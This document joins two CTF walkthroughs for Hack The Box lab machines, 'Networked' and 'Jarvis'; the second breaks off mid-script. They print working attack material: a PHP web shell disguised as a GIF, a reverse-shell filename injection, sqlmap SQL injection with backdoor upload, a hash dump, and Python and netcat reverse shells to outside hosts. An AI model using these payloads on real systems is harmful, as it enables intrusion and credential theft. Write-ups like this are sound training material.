HTB – Networked

Today we are going to solve another CTF challenge “Networked” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Medium

Task: find user.txt and root.txt file on victim’s machine

Let’s start with a nmap scan

root@kali:~/htb/networked# nmap -sC -sV 10.10.10.146
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-19 12:59 EST
Nmap scan report for 10.10.10.146
Host is up (0.024s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.12 seconds

Looks like we have only the http service to explore. Here’s what it looks like.

7759278b.png

I’ve no idea what it means. Well, moving on to the next step.

Directory/File Enumeration

Let’s kick things off with wfuzz and SecLists.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hc '403,404' http://10.10.10.146/FUZZ
********************************************************
* Wfuzz 2.2.1 - The Web Fuzzer                           *
********************************************************

Target: HTTP://10.10.10.146/FUZZ
Total requests: 4594

==================================================================
ID      Response   Lines      Word         Chars          Request    
==================================================================

00702:  C=301      7 L        20 W          235 Ch        "backup"
02095:  C=200      8 L        40 W          229 Ch        "index.php"
04196:  C=301      7 L        20 W          236 Ch        "uploads"

Total time: 93.26074
Processed Requests: 4594
Filtered Requests: 4591
Requests/sec.: 49.25974

The directory /backup sure looks interesting.

665e6cf9.png

Let’s download it and see what’s inside.

d50974c8.png

Looks like the backup of the PHP files present in the site. If the acutal upload.php is identical to that of the backup, then there’s a vulnerability with the upload form.

upload.php
// $name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
  if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
    $valid = true;
  }
}
lib.php
function getnameUpload($filename) {
  $pieces = explode('.',$filename);
  $name= array_shift($pieces);
  $name = str_replace('_','.',$name);
  $ext = implode('.',$pieces);
  return array($name,$ext);
}

As long as the extension ends with one of extensions, we should be able to upload a PHP file with double extension, e.g. cmd.php.gif. Here’s what cmd.php.gif looks like.

cmd.php.gif
GIF89a
<pre><?php echo shell_exec($_GET[0]); ?></pre>

Let’s give it a shot.

# curl -F "myFile=@cmd.php.gif;type=image/gif" -F "submit=go" http://10.10.10.146/upload.php
<p>file uploaded, refresh gallery</p>

65789937.png

Awesome. It got uploaded.

844b4736.png

And we got remote code execution!

Low-Privilege Shell

The creator was kind to leave ncat installed. We can simply use that to give us a reverse shell.

77c4e58d.png

On my nc listener, a reverse shell comes knocking.

3ccf4fda.png

Privilege Escalation

During enumeration of guly’s home directory, I noticed two interesting files, crontab.guly and check_attack.php.

crontab.guly
*/3 * * * * php /home/guly/check_attack.php
check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
        $msg='';
  if ($value == 'index.html') {
        continue;
  }
  #echo "-------------\n";

  #print "check: $value\n";
  list ($name,$ext) = getnameCheck($value);
  $check = check_ip($name,$value);

  if (!($check[0])) {
    echo "attack!\n";
    # todo: attach file
    file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

    exec("rm -f $logpath");
    exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
    echo "rm -f $path$value\n";
    mail($to, $msg, $msg, $headers, "-F$value");
  }
}

?>

If the files were to be believed, then a cron job will check and report to guly with mail($to, $msg, $msg, $headers, "-F$value"); at every three minutes, for files in /var/www/html/uploads that doesn’t begin with an IP address. This is easy to exploit. We can simply touch a file with a file name that begins with ; to separate sendmail from the command that we want to execute.

$ touch ';nc 10.10.12.161 4321 -c bash'

Three minutes later, a reverse shell as guly appears in my nc listener.

a23e4e9b.png

Let’s upgrade our shell to full TTY.

The file user.txt is at guly’s home directory.

94e11c09.png

Getting root.txt

During enumeration of guly’s account, I notice guly is able to run the following command as root without password.

f1268379.png

Check out the code in the script.

#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
        echo "interface $var:"
        read x
        while [[ ! $x =~ $regexp ]]; do
                echo "wrong input, try again"
                echo "interface $var:"
                read x
        done
        echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0

Firstly, all the network scripts are written in bash. Furthermore, the single space character is allowed in the regular expression. Space is recognized as one of internal field separators (or IFS), which in this case really plays to our advantage, as you shall see.

276eb6e4.png

Any of the variables can be used to execute a command in the second field separated by a single space.

001c116e.png

Getting root.txt with a root shell is trivial.

3f8f640f.png

All credits to : https://hackso.me/networked-htb-walkthrough/

HTB – Jarvis

Today we are going to solve another CTF challenge “Jarvis” which is available online for those who want to increase their skill in penetration testing and black box testing. Node is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Medium

Task: find user.txt and root.txt file on victim’s machine.

C:\PENTEST>nmap -sC -sV 10.10.10.143
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-16 14:54 W. Europe Standard Time
Nmap scan report for 10.10.10.143
Host is up (0.026s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.30 seconds

We got ssh on port 22 and http on port 80. Let’s take a look at the web service.


Web Enumeration

By visiting http://jarvis.htb/ we get a website for a hotel called Stark Hotel:

I ran gobuster to check for any sub directories and the only interesting thing I found was /phpmyadmin:

root@kali:~/Desktop/HTB/boxes/jarvis# gobuster -u http://jarvis.htb/ -w /usr/share/wordlists/dirb/common.txt

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://jarvis.htb/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/11/08 17:38:59 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
=====================================================
2019/11/08 17:40:39 Finished
=====================================================

http://jarvis.htb/phpmyadmin

phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement. –phpmyadmin.net

That can be useful later if we could find the credentials, but for now let’s concentrate on the web application.


SQLi in room.php

Back to the “Rooms & Suites” section in the main page, clicking on any of these rooms requests /room.php with a parameter called cod that holds the room number:

I tried replacing the number with a single quote ' and I got a weird response:

So I ran sqlmap but I got a 404 response:

root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1             
        ___           
       __H__
 ___ ___[(]_____ ___ ___  {1.3.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|                 
      |_|V...       |_|   http://sqlmap.org
      
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
 liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:43:03 /2019-11-08/
[17:43:03] [INFO] testing connection to the target URL
[17:43:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:43:04] [INFO] testing if the target URL content is stable
[17:43:05] [INFO] heuristics detected web page charset 'ascii'
[17:43:05] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk 
results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[17:43:13] [INFO] searching for dynamic content
[17:43:13] [CRITICAL] page not found (404)
[17:43:13] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[*] ending @ 17:43:13 /2019-11-08/

I checked the page again and saw a message indicating that I got banned for 90 seconds:

I assumed that it checks for the user-agent because the ban happened immediately, so I added the --user-agent option and used Firefox user-agent, that was enough to bypass the filter:

root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"     
        ___           
       __H__
 ___ ___[(]_____ ___ ___  {1.3.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org                       
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
 liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 22:15:42 /2019-11-08/
[22:15:42] [INFO] testing connection to the target URL
[22:15:43] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:15:43] [INFO] testing if the target URL content is stable
[22:15:44] [INFO] target URL content is stable
[22:15:44] [INFO] testing if GET parameter 'cod' is dynamic
[22:15:45] [INFO] GET parameter 'cod' appears to be dynamic
[22:15:46] [INFO] heuristic (basic) test shows that GET parameter 'cod' might be injectable
[22:15:46] [INFO] testing for SQL injection on GET parameter 'cod'
[22:15:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:15:48] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="of")
[22:15:52] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'  
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y    
[22:15:56] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'             
[22:15:56] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'                 
[22:15:57] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[22:15:57] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'  
[22:15:57] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'             
[22:15:57] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'                     
[22:15:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'        
[22:15:58] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'  
[22:15:58] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'  
[22:15:58] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'      
[22:16:00] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'    
[22:16:00] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'         
[22:16:00] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:16:00] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[22:16:01] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[22:16:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'           
[22:16:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[22:16:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[22:16:02] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[22:16:02] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[22:16:03] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[22:16:03] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[22:16:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[22:16:04] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[22:16:04] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[22:16:06] [INFO] testing 'MySQL inline queries'
[22:16:06] [INFO] testing 'PostgreSQL inline queries'
[22:16:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:16:07] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[22:16:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[22:16:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[22:16:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[22:16:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[22:16:10] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[22:16:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[22:16:22] [INFO] GET parameter 'cod' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable 
[22:16:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:16:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:16:22] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection tech
nique test
[22:16:23] [INFO] target URL appears to have 7 columns in query
[22:16:28] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=1 AND 9726=9726

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cod=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:16:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:16:33] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb'

[*] ending @ 22:16:33 /2019-11-08/

root@kali:~/Desktop/HTB/boxes/jarvis#

RCE –> Shell as www-data

I could get RCE in 2 different ways.

First way:

By using the os-shell option in sqlmap:

root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --os-shell                                    
        ___           
       __H__
 ___ ___[,]_____ ___ ___  {1.3.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org                       
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
 liability and are not responsible for any misuse or damage caused by this program
 
[*] starting @ 22:23:10 /2019-11-08/
[22:23:10] [INFO] resuming back-end DBMS 'mysql'
[22:23:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=1 AND 9726=9726

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cod=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr                 
---
[22:23:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:23:11] [INFO] going to use a web backdoor for command prompt
[22:23:11] [INFO] fingerprinting the back-end DBMS operating system
[22:23:11] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[22:23:13] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /var/www/html
[22:23:40] [INFO] retrieved web server absolute paths: '/images/'
[22:23:40] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[22:23:42] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpuujaq.php
[22:23:43] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpbtwbt.php
[22:23:43] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] a
command standard output: 'www-data'
os-shell> id
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell>

From here we can simply execute a reverse shell command and get a shell.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.82",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Second way:

I used the --passwords option to dump the users’ password hashes:

root@kali:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --passwords                                  
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.3.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:17:45 /2019-11-08/

[22:17:46] [INFO] resuming back-end DBMS 'mysql'
[22:17:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cod=1 AND 9726=9726

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: cod=1 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr                 
---
[22:17:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:17:46] [INFO] fetching database users password hashes
[22:17:46] [INFO] used SQL query returns 1 entry
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[22:17:53] [INFO] writing hashes to a temporary file '/tmp/sqlmapbAZ4vg2489/sqlmaphashes-KkbVkR.txt' 
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] DBadmin [1]:
    password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0

[22:17:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb'

[*] ending @ 22:17:55 /2019-11-08/

root@kali:~/Desktop/HTB/boxes/jarvis# 

I got the password hash for DBadmin, I cracked it with crackstation:

Then I tried these credentials (DBadmin : imissyou) with phpmyadmin and I got in:

From the SQL console we can write a web shell:

SELECT "<?php system($_GET['c']); ?>" into outfile "/var/www/html/sh3ll.php"

I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a reverse shell, I had to url-encode it first:

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff

Now we have a shell as www-data:

root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:57400.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@jarvis:/var/www/html$ ^Z
[1]+  Stopped                 nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/jarvis# stty raw -echo 
root@kali:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337

www-data@jarvis:/var/www/html$ export TERM=screen
www-data@jarvis:/var/www/html$ 

Command Injection in simpler.py –> Shell as pepper –> User Flag

I checked the home directory and there was a user called pepper, I couldn’t read the user flag as www-data:

www-data@jarvis:/var/www/html$ cd /home/
www-data@jarvis:/home$ ls -al
total 12
drwxr-xr-x  3 root   root   4096 Mar  2  2019 .
drwxr-xr-x 23 root   root   4096 Mar  3  2019 ..
drwxr-xr-x  4 pepper pepper 4096 Mar  5  2019 pepper
www-data@jarvis:/home$ cd pepper/
www-data@jarvis:/home/pepper$ ls -al
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar  5  2019 .
drwxr-xr-x 3 root   root   4096 Mar  2  2019 ..
lrwxrwxrwx 1 root   root      9 Mar  4  2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper  220 Mar  2  2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar  2  2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar  2  2019 .nano
-rw-r--r-- 1 pepper pepper  675 Mar  2  2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar  4  2019 Web
-r--r----- 1 root   pepper   33 Mar  5  2019 user.txt
www-data@jarvis:/home/pepper$ cat user.txt 
cat: user.txt: Permission denied
www-data@jarvis:/home/pepper$ 

By running sudo -l I saw that I can run /var/www/Admin-Utilities/simpler.py as pepper without a password:

www-data@jarvis:/home/pepper$ sudo -l
Matching Defaults entries for www-data on jarvis:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
    (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
www-data@jarvis:/home/pepper$ 
www-data@jarvis:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py
***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
                                
***********************************************


********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]

Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP
    
www-data@jarvis:/home/pepper$ 

Let’s take a look at that script:

www-data@jarvis:/home/pepper$ cat /var/www/Admin-Utilities/simpler.py
#!/usr/bin/env python3
from datetime import datetime             
import sys               
import os 
from os import listdir               
import re        
def show_help():         
    message='''
********************************************************
* Simpler   -   A simple simplifier ;)                 *
* Version 1.0                                          *
********************************************************
Usage:  python3 simpler.py [options]
Options:
    -h/--help   : This help
    -s          : Statistics
    -l          : List the attackers IP
    -p          : ping an attacker IP                
    '''     
    print(message)

def show_header():
    print('''***********************************************
     _                 _                       
 ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ 
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
                |_|               |_|    |___/ 
                                @ironhackers.es
***********************************************                   
''')
def show_statistics():
    path = '/home/pepper/Web/Logs/'
    print('Statistics\n-----------')
    listed_files = listdir(path)
    count = len(listed_files)
    print('Number of Attackers: ' + str(count))
    level_1 = 0
    dat = datetime(1, 1, 1)
    ip_list = []
    reks = []
    ip = ''
    req = ''
    rek = ''
    for i in listed_files:
        f = open(path + i, 'r')
        lines = f.readlines()
        level2, rek = get_max_level(lines)
        fecha, requ = date_to_num(lines)
        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if fecha > dat:
            dat = fecha
            req = requ
            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
        if int(level2) > int(level_1):
            level_1 = level2
            ip_list = [ip]
            reks=[rek]
        elif int(level2) == int(level_1):
            ip_list.append(ip)
            reks.append(rek)
        f.close()

    print('Most Risky:')
    if len(ip_list) > 1:
        print('More than 1 ip found')
    cont = 0
    for i in ip_list:
        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
        cont = cont + 1

    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
    print('Attackers\n-----------')
    path = '/home/pepper/Web/Logs/'
    listed_files = listdir(path)
    for i in listed_files:
        f = open(path + i,'r')
        lines = f.readlines()
        level,req = get_max_level(lines)
        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)                                                                             
        f.close()

def date_to_num(lines):
    dat = datetime(1,1,1)
    ip = ''
    req=''
    for i in lines:
        if 'Level' in i:
            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
            regex = '(\d+)-(.*)-(\d+)(.*)'
            logEx=re.match(regex, fecha).groups()
            mes = to_dict(logEx[1])
            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
            if fecha > dat:
                dat = fecha
                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
    return dat, req

def to_dict(name):
    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}                                                          
    return month_dict[name]

def get_max_level(lines):
    level=0
    for j in lines:
        if 'Level' in j:
